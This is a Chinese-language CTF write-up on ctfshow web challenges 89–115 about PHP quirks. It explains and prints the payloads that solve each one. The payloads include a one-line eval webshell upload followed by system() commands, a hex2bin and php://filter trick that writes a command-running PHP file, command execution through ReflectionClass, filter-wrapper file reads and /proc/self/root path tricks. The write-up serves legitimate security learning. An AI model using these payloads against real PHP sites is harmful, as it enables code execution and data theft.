89.
显然,这里是需要绕过preg_match,绕过preg_match有三种方法
CTF 总结02:preg_match()绕过_pregmatch函数绕过-CSDN博客
90.
考intval。
这个与赣ctf有道题差不多,我是直接传入num=4476a,intval(4476a,0)会将4476a转换为4476,或者把4476转为其它进制,intval(参数,0)会根据参数的进制进行相应转换。(还可以小数绕过,科学计数法绕过,正负号绕过)
PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客
91.
这里考正则与preg_match特性。
php一些特性函数(ctfshow)_stripos函数绕过-CSDN博客
$ | 表示匹配字符串的结尾 | 例如 a$ ,表示 字符串必须以a结尾,如果不是以a结尾,则返回空 |
^ | 匹配输入字符串的开始 | 例如 ^a ,表示 字符串必须以a开头,才会继续匹配,如果不是以a开始,则返回空 |
代码审计一下:就是第一个传入的$a某行开头结尾是否可匹配php,可则进入下一个if,这个没有多行匹配,其就是判断传入的$a第一行是否开头结尾匹配php.
所以用换行符绕过?cmd=%0aphp,使得第一个第一preg匹配,第二个preg被绕过。
92.
这题看似与90很像,但是一个==,这个===,并且90第一个if内是强等于”4476“(字符串)所以这题只能用小数绕过,进制绕过,科学计数法绕过(?num=4476e1)。
93.
这里还过滤了数字,就用八进制或者小数绕过,
94.
这里多一个strpos:查找一下字符串在另一字符串第一次出现的位置(区分大小写),了解下。
所以字符串(输入的)要有0,但是要是0在开头,第三个if里还是ture,所以8进制不行(其实也可以,前面加空格),所以0以小数的形式出现。
?num=4476.0
95.
这里与上面相比就是第一个if里变成了弱等于,而且过滤点了,不能用小数过滤了。那就8进制(前面加空格绕过strpos)
?num= 010574
96.
前目录 ./ 绕过
97.
一个md5绕过。首先介绍一下
<?php
$s1 =
"%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%
78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c
%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7
d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%
c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea
%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%d
a%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%
ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c
%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1
f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%
5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0
%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%5
7%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%
e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b
%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
$s2 =
"%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%
78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c
%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7
d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%
c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea
%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%d
a%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%
ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c
%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1
f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%
5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0
%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%5
7%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%
e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b
%a6%2f%ed%b7%99%d5%39%05%39%95%ab";
$s3 =
"%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%
78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c
%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7
d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%
c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea
%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%d
a%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%
ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c
%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1
f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%
5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0
%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%5
7%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%
e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b
%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
var_dump(md5(urldecode($s1)));
var_dump(md5(urldecode($s2)));
var_dump(md5(urldecode($s3)));
//string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
//string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
//string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
md5绕过总结_md5($pass,true)-CSDN博客
这里直接就数组绕过了
a[]=1&b[]=2
下面我用md5强碰撞来解决
方法
工具下载: https://github.com/iamjazz/Md5collision
98.
参照下大佬的文章。
《CTFshow-Web入门》10. Web 91~110_ctfshowweb101-CSDN博客
$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/
看最后一行代码,所以我们get传入?HTTP_FLAG=flag,然后由第一行代码知又要POST传HTTP_FLAG=flag,中间带代码对flag没影响。
99.
首先代码审计:
-
$allow = array();
这里声明了一个名为$allow
的数组,用于存储允许的数字。 -
for ($i=36;$i < 0x36d; $i++) { array_push($allow, rand(1,$i)); }
,它从36开始,直到小于0x36d(即869)的值。在每次循环中,它使用rand(1,$i)
生成一个介于1和当前循环变量$i
之间的随机数,并将这个随机数添加到$allow
数组中。这意味着$allow
数组将包含多个随机数,且每个随机数的范围都会随着循环的增加而增大。 -
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
它检查是否存在一个名为n
的GET参数,并且这个参数的值是否在$allow
数组中。如果这两个条件都满足,则执行下面的代码块。
《CTFshow-Web入门》10. Web 91~110_ctfshowweb101-CSDN博客
in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。所以此题就简单了,get传php文件,post传一句话木马,在通过一句话木马命令执行。
即首先
//get
?n=1.php
//post
content=<?php @eval($_POST[1]);?>
然后
1=system('ls');
1=system('tac f*.php);?>
其实这里没必要用木马直接传命令即可。
100.
考点:特性:赋值【=】的优先级高于逻辑运算。所以只要让 is_numeric($v1)
返回 true 即可满足 if 判断。根据代码知v2,v3不能有分号,eval里我们就利用注释,根据提示flag在ctfshow类中,所以payload
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
101.
这里过滤了这么多字符,v2,v3自然不能像上题这样构造。因为flag在class类里面,显然这里要用到类的知识。
PHP反射类详解_php reflectionclass-CSDN博客
CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令_ctf web反射-CSDN博客
首先看下此文章,了解到利用 ReflectionClass 建立反射类。new ReflectionClass($class)
可以获得类的反射对象(包含元数据信息)。元数据对象(包含class的所有属性/方法的元数据信息)。
102.
首先看此文了解一下substr,知道substr($v2,2)就是从第3个位置开始截取字符串。
然后了解call_user_func():用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents():写入内容到文件中,第一个参数是文件名,第二个参数是内容
hex2bin():把十六进制值的字符串转换为 ASCII 字符(十六进制转二进制)。
我们需要用逆向思维将
<?=`cat *`; 通过file_put_contents()写入1.php文件中,到时候访问1.php即可
(这里注意短标签<?=
是echo() 的快捷用法,所以它会把结果输出出来,记得<?=`cat *`;后要有个空格)
所以利用伪协议有
v3=php://filter/write=conver.base64-decode/resource=1.php
v1需要是函数,这里的我们利用进制转换函数,让v1=hex2bin,所以这里v2就是<?=`cat *`; 的base64加密然后再进行 ASCII 编码转ascii。
先base64编码。
PD89YGNhdCAqYDsg
再进行ascii字符转16进制。
50 44 38 39 59 47 4e 68 64 43 41 71 59 44 73 67
由于有substr,所以此串数字前要随便加两个数字,所以可以构造v2payload
v2=115044383959474e686443417159447367
所以就get传入
?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
post传入
v1=hex2bin
再访问1.php。
有些地方讲不清,详解可看下文。
《CTFshow-Web入门》10. Web 91~110_ctfshowweb101-CSDN博客
ctfshow学习记录-web入门(php特性99-108)_ctfshow web入门108-CSDN博客
103.
正则表达式是用来检查是否存在 “php” 这个字符串的子串(不区分大小写)。没啥用啊,我v2都是数字。
直接用上面的payload。
?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
104.
这个我做过了,这个shal函数更md5一样,都可以数组绕过(遇到数组返回NULL)。
105.
代码看不懂的看下文
PHP中的控制结构:PHP Foreach 循环-CSDN博客
考变量覆盖,举个例子
$a='b';
$aa='c';
echo $a; #b
echo $b; #c
echo $$a; #c
然后直接分析:
分析:
有两个地方有变量覆盖,有两个die函数输出,最后一个die函数要用的话,必须设置flag,但是设置flag后就只有进行变量覆盖了,所以只能用第一个die函数里的error,需要考虑怎么通过变量覆盖使变量error和变量flag相等,还需要借助变量suces
当get 方式传入suces=flag,$key=suces,$value=flag
foreach($_GET as $key => $value){
$$key=$$value; #变成了$suces=$flag,$suces的值是flag的值
}
(suces就是起过渡作用)
当post传入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){
$$key=$$value; #变成了$error=$flag,$error的值是flag的值
}
所以最后传
get suces=flag
post error=suces
ctfshow web入门 web103-web107_ctfshow web105-CSDN博客
106.
这里仍然可以用数组绕过。
md5强比较的几种绕过,强碰撞,shal强比较的几种绕过,强碰撞_md5强比较绕过-CSDN博客
107.
首先肯定要分析parse的作用:把查询字符串解析到变量中。
parse_str("a=1&b=2",$array);
print_r($array);
# 输出:Array([a]=>1 [b]=>2)
所以我们让v1=flag,但是不赋值(为NULL),然后让v3为数组,经md5后也为空,然后相等。
也可以复制flag=0,让v3=QNKCDZO(经md5后为0e开头为0),然后也相当。
108.
正则要求要求整个字符串只包含一个或多个英文字母(不区分大小写),并且字符串必须从头到尾都是英文字母。(所以要%00截断)
ereg():用于执行正则表达式匹配。
strrev():反转字符串。
ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false,搜索对于字母字符是区分大小写的,用于正则表达式匹配。ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。
二、ereg()只能处理字符串的,遇到数组做参数返回NULL
0x36d转10进制是877,所以c经过ereg匹配,再经过反转,再转整数=877.
最终payload
a%00778
(开头字母,再用%00绕过ereg,然后加上778就行(绕过反转))
109.
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('ls'))
来执行命令
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
这里好像过滤了cat,所以用tac了。详解可以看下面两文。
《CTFshow-Web入门》10. Web 91~110_ctfshowweb101-CSDN博客
CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令_ctf web反射-CSDN博客1
110.
过滤的字符太多了,上面的方法用不了。
php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
getcwd() 函数,获取当前工作目录,返回当前工作目录。
url + ?v1=FilesystemIterator&v2=getcwd
flag再当前目录,所以直接访问。
111.
&
符号用于创建一个引用,允许getFlag
函数修改外部传递给它的变量的值。
观察到最后一个if里要求v1是ctfshow,所以传v1=ctfshow,看到函数里面引用v2赋值给v1,然后输出v1,很明显这最后输出的就是$flag。所以显然$v2=flag,那么$$v2=$flag,赋值给了$$v1($ctfshow),
最后输出$ctfshow,其实也就是$flag.
但是返回 NULL,因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键.
?v1=ctfshow&v2=GLOBALS
112.
显然这里需要绕过这个 is_file 的检测,但是又要能被 highlight_file 识别,使用 php 伪协议。
这里过滤了data,input,base64,rot13,我们就用filter
不用过滤器
?file=php://filter/resource=flag.php
用编码过滤的话
Shift_JIS是一种常用于日文文本的字符编码,而UCS-4是一种将每个字符编码为32位的Unicode字符集,就是将日文字符转换为unicode字符。
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
这个需要将flag2be-2le的转换,其实就是两两字母换位
str = "f$al=gc\"fthswoe{179893-5c5924-87-1e85c3-52d7be4aac}1;\""
str_encoded = ''
for i in range(len(str)):
if i % 2 == 1:
str_encoded += str[i]
str_encoded += str[i-1]
print(str_encoded)
或者
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
convert.quoted-printable-encode
,它将读取的数据转换为quoted-printable编码。Quoted-printable编码是一种编码方法,它将非ASCII字符和某些特殊字符转换成等价的可打印字符
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
?file=compress.zlib://flag.php
参考了ctfshow-web入门-php特性(web109-web115)_ctfshow web109-CSDN博客
113.
这里filter被过滤了,用compress
?file=compress.zlib://flag.php
答案是
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
看看大佬的解释:
114.
不用过滤器就好了
?file=php://filter/resource=flag.php
115.
此题考察trim函数。
str_replace函数上面讲过了,重点介绍一下trim,
对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。
所以假设payload是
?num=%0c36
is_numeric 可以在数字前面加空格绕过,%0c 是换页符,%09 和 %20 也都可以让 is_numeric() 函数返回为 TRUE,由于有%0c,所以不是强等于‘36’,而filter对%0c36没有,所以payload
是对的。